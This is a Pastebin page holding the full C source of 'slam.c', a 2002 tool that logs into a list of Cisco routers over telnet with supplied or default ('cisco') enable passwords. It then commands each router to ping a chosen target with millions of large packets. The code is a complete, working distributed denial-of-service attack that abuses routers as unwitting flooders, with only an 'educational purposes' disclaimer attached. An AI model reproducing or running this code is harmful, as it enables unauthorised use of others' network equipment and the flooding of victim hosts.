Advertisement
Guest User

Untitled

a guest
Jul 23rd, 2011
875
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.70 KB | None | 0 0
  1. /*
  2. * slam.c by Evil (mystic@tenebrous.com)
  3. * a program that will connect to
  4. * all enabled cisco routers stored one per
  5. * line in a plain text file (up to 255) and ping
  6. * a specified host
  7. *
  8. * Copyright(c) 2002 mystic@tenebrous.com
  9. *
  10. * Type ./slam for help
  11. *
  12. * FOR EDUCATIONAL PURPOSES ONLY
  13. *
  14. * --- WARNING ---
  15. * Unauthorized access to communications systems
  16. * is a direct violation of Federal Law Title 18, Part 1,
  17. * Chapter 121, Section 2701!
  18. *
  19. * USE AT YOUR OWN RISK!
  20. * (Cause I, the author accept NO responsibility
  21. * for the consequences of this software)
  22. *
  23. * Other programs by this author:
  24. * rain - http://www.tenebrous.com/rain/
  25. * codeblue - http://www.freshmeat.net/projects/codeblue/
  26. * unicount - http://unicount.tenebrous.com/
  27. *
  28. */
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <sys/types.h>
  32. #include <sys/socket.h>
  33. #include <netinet/in.h>
  34. #include <arpa/inet.h>
  35. #include <netdb.h>
  36. #include <signal.h>
  37. #include <errno.h>
  38. #include <unistd.h>
  39. #include <fcntl.h>
  40. #include <string.h>
  41. #include <getopt.h>
  42.  
  43. struct sockaddr_in sockadd[255];
  44. int sockets[255];
  45.  
  46. int close_all_sockets(int sockets2[255])
  47. {
  48. int i = 0;
  49. char *message = "QUIT\r\n";
  50.  
  51. printf("Closing sockets, stand by... \n");
  52. while (sockets2[i] != 0) {
  53. send(sockets2[i], (char *) message, strlen(message), 0);
  54. shutdown(sockets2[i], SHUT_RDWR);
  55. i++;
  56. }
  57. return 0;
  58. }
  59.  
  60.  
  61. void catch_signal(int signo)
  62. {
  63. printf("\e[0m\n*** CAUGHT SIGNAL %d, CLOSING ALL SOCKETS!\n", signo);
  64. close_all_sockets(sockets);
  65. exit(0);
  66. }
  67.  
  68. void signal_init(void)
  69. {
  70. struct sigaction sa_old, sa_new;
  71.  
  72. sa_new.sa_handler = catch_signal;
  73. sigemptyset(&sa_new.sa_mask);
  74. sa_new.sa_flags = 0;
  75. sigaction(SIGINT, &sa_new, &sa_old);
  76. sigaction(SIGTERM, &sa_new, &sa_old);
  77. sigaction(SIGKILL, &sa_new, &sa_old);
  78. sigaction(SIGSTOP, &sa_new, &sa_old);
  79. sigaction(SIGHUP, &sa_new, &sa_old);
  80. sigaction(SIGALRM, &sa_new, &sa_old);
  81. }
  82.  
  83. char *chop(char *str)
  84. {
  85. int i = 0;
  86. while (str[i]) {
  87. if (str[i] == '\n')
  88. str[i] = '\0';
  89. i++;
  90. }
  91. return str;
  92. }
  93.  
  94. int resolv(const char *name, struct sockaddr_in *addr)
  95. {
  96. struct hostent *host;
  97. memset(addr, 0, sizeof(struct sockaddr_in));
  98.  
  99. addr->sin_addr.s_addr = inet_addr(name);
  100.  
  101. if (addr->sin_addr.s_addr == -1) {
  102. if ((host = gethostbyname(name)) == NULL)
  103. return -1;
  104. addr->sin_family = host->h_addrtype;
  105. memcpy((caddr_t) & addr->sin_addr, host->h_addr, host->h_length);
  106. }
  107. return 0;
  108.  
  109. }
  110.  
  111. typedef struct _cisco {
  112. u_char passwd[64];
  113. u_char file[256];
  114. u_char enable[64];
  115. u_char target[256];
  116. u_long dgsize;
  117. u_long pktnum;
  118. int port;
  119. } CISCO;
  120.  
  121. void help(void)
  122. {
  123. printf("Options are:\n"
  124. "\t-f <file> The name of the cisco file to read (default enabled.txt)\n"
  125. "\t-p <password> The login password of the routers\n"
  126. "\t-e <enable-pass> The enable password of the routers (default cisco)\n"
  127. "\t-t <target> The target hostname or IP address\n"
  128. "\t - will be converted to IP automatically\n"
  129. "\t-d <port> The port on the cisco router (default 23)\n"
  130. "\t-n <num> Number of packets to send (default 9999999)\n"
  131. "\t-s <size> The datagram size (default 18024)\n"
  132. "\t-h Prints this help screen\n" "-\n");
  133. return;
  134. }
  135.  
  136. void banner(void)
  137. {
  138. printf("slam.c by Evil (mystic@tenebrous.com) [pid:%d]\n", getpid());
  139. }
  140.  
  141. int main(int argc, char **argv)
  142. {
  143. FILE *fp;
  144. char buffer[1024][1024];
  145. char buffer2[1024];
  146. char service[32];
  147. int i = 0;
  148. CISCO *cisco = malloc(sizeof(CISCO));
  149. static char optstring[] = "hf:p:e:t:d:n:s:";
  150. int optch;
  151. int ch;
  152. struct servent *serv;
  153. struct sockaddr_in sin;
  154.  
  155. signal_init();
  156.  
  157.  
  158. strcpy(cisco->file, "enabled.txt");
  159. strcpy(cisco->enable, "cisco");
  160. cisco->port = 23;
  161. cisco->pktnum = 9999999;
  162. cisco->dgsize = 18024;
  163.  
  164. setvbuf(stdout, NULL, _IONBF, 0);
  165.  
  166. banner();
  167.  
  168.  
  169. if (argc < 5) {
  170. help();
  171. return 1;
  172. }
  173.  
  174. while ((optch = getopt(argc, argv, optstring)) != -1) {
  175. switch (optch) {
  176. case 'f':{
  177. strcpy(cisco->file, optarg);
  178. break;
  179. }
  180. case 'p':{
  181. strcpy(cisco->passwd, optarg);
  182. break;
  183. }
  184. case 'e':{
  185. strcpy(cisco->enable, optarg);
  186. break;
  187. }
  188. case 't':{
  189. strcpy(cisco->target, optarg);
  190. break;
  191. }
  192. case 'd':{
  193. cisco->port = atoi(optarg);
  194. break;
  195. }
  196. case 'n':{
  197. cisco->pktnum = atol(optarg);
  198. break;
  199. }
  200. case 's':{
  201. cisco->dgsize = atol(optarg);
  202. break;
  203. }
  204. case 'h':{
  205. help();
  206. return 1;
  207. }
  208. }
  209. }
  210.  
  211. if ((strlen(cisco->target) < 7) || (strlen(cisco->passwd) < 3)) {
  212. fprintf(stderr,
  213. "*** You must at LEAST specify a target IP and login password!\n");
  214. return 1;
  215. }
  216.  
  217. if ((serv = getservbyport(htons(cisco->port), "tcp")) == NULL)
  218. strcpy(service, "unknown");
  219. else
  220. strcpy(service, serv->s_name);
  221.  
  222. if (resolv(cisco->target, &sin) < 0) {
  223. fprintf(stderr, "*** Could not resolve target host: %s\n",
  224. strerror(errno));
  225. return 1;
  226. }
  227. strcpy(cisco->target, inet_ntoa(sin.sin_addr));
  228.  
  229. printf("----------------------------\n");
  230. printf("File : %s\n"
  231. "Login pass : %s\n"
  232. "Enable pass: %s\n"
  233. "Target IP : %s\n"
  234. "Cisco port : %d (%s)\n"
  235. "Packets : %lu\n"
  236. "Size : %lu\n",
  237. cisco->file, cisco->passwd,
  238. cisco->enable, cisco->target,
  239. cisco->port, service, cisco->pktnum, cisco->dgsize);
  240. printf("----------------------------\n");
  241. printf("Is this information correct? [Y/N]: ");
  242. ch = getchar();
  243.  
  244. if ((ch == 'Y') || (ch == 'y'));
  245. else {
  246. printf("Cancelled.\n");
  247. return 1;
  248. }
  249.  
  250. if ((fp = fopen(cisco->file, "r")) == NULL) {
  251. fprintf(stderr, "*** Couldn't open %s for reading: %s\n",
  252. cisco->file, strerror(errno));
  253. return 1;
  254. }
  255.  
  256. memset(&sockets, 0, (sizeof(int) * 255));
  257.  
  258. while (!feof(fp)) {
  259.  
  260. fgets((char *) &buffer[i], 1024, fp);
  261.  
  262. memset(&sockadd[i], 0, sizeof(struct sockaddr_in));
  263. sockadd[i].sin_family = AF_INET;
  264. sockadd[i].sin_port = htons(cisco->port);
  265. sockadd[i].sin_addr.s_addr = inet_addr(chop(buffer[i]));
  266. i++;
  267. }
  268.  
  269.  
  270.  
  271. sockadd[i++].sin_port = 0;
  272.  
  273. fclose(fp);
  274.  
  275. i = 0;
  276. while (sockadd[i].sin_port != 0) {
  277. if ((sockets[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  278. {
  279. fprintf(stderr, "socket error: %s\n", strerror(errno));
  280. return -1;
  281. }
  282. i++;
  283. }
  284.  
  285. i = 0;
  286.  
  287.  
  288. while (sockets[i] != 0) {
  289.  
  290. if(sockadd[i].sin_addr.s_addr == 0xFFFFFFFF) break;
  291.  
  292. printf("[ Connecting to \e[0;32m%16s\e[0m:\e[0;31m%d\e[0m",
  293. inet_ntoa(sockadd[i].sin_addr),
  294. cisco->port);
  295. if (connect
  296. (sockets[i], (struct sockaddr *) &sockadd[i],
  297. sizeof(struct sockaddr_in)) < 0) {
  298. fprintf(stderr, "\n*** connect error on %s (socket %d): %s\n",
  299. inet_ntoa(sockadd[i].sin_addr), sockets[i],
  300. strerror(errno));
  301. i++;
  302. continue;
  303. }
  304.  
  305.  
  306. printf(" ; sending commands...\n");
  307.  
  308. sprintf(buffer2,
  309.  
  310. "%s\r\nenable\r\n%s\r\nping\r\n\r\n%s\r\n%lu\r\n%lu\r\n0\r\n\r\n\r\n\r\n",
  311. cisco->passwd, cisco->enable, cisco->target, cisco->pktnum,
  312. cisco->dgsize);
  313.  
  314. if (send(sockets[i], buffer2, strlen(buffer2), 0) < 0)
  315. fprintf(stderr, "\n*** send() error on socket %d: %s\n",
  316. sockets[i], strerror(errno));
  317.  
  318. i++;
  319. }
  320.  
  321. i = 0;
  322.  
  323. printf("-------------------------------------\n");
  324. printf("Transmission commensing!\n");
  325. printf("Hit CTRL+C to shutdown all sockets...\n");
  326.  
  327. while (1) {;
  328. }
  329.  
  330. close_all_sockets(sockets);
  331. return 0;
  332. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement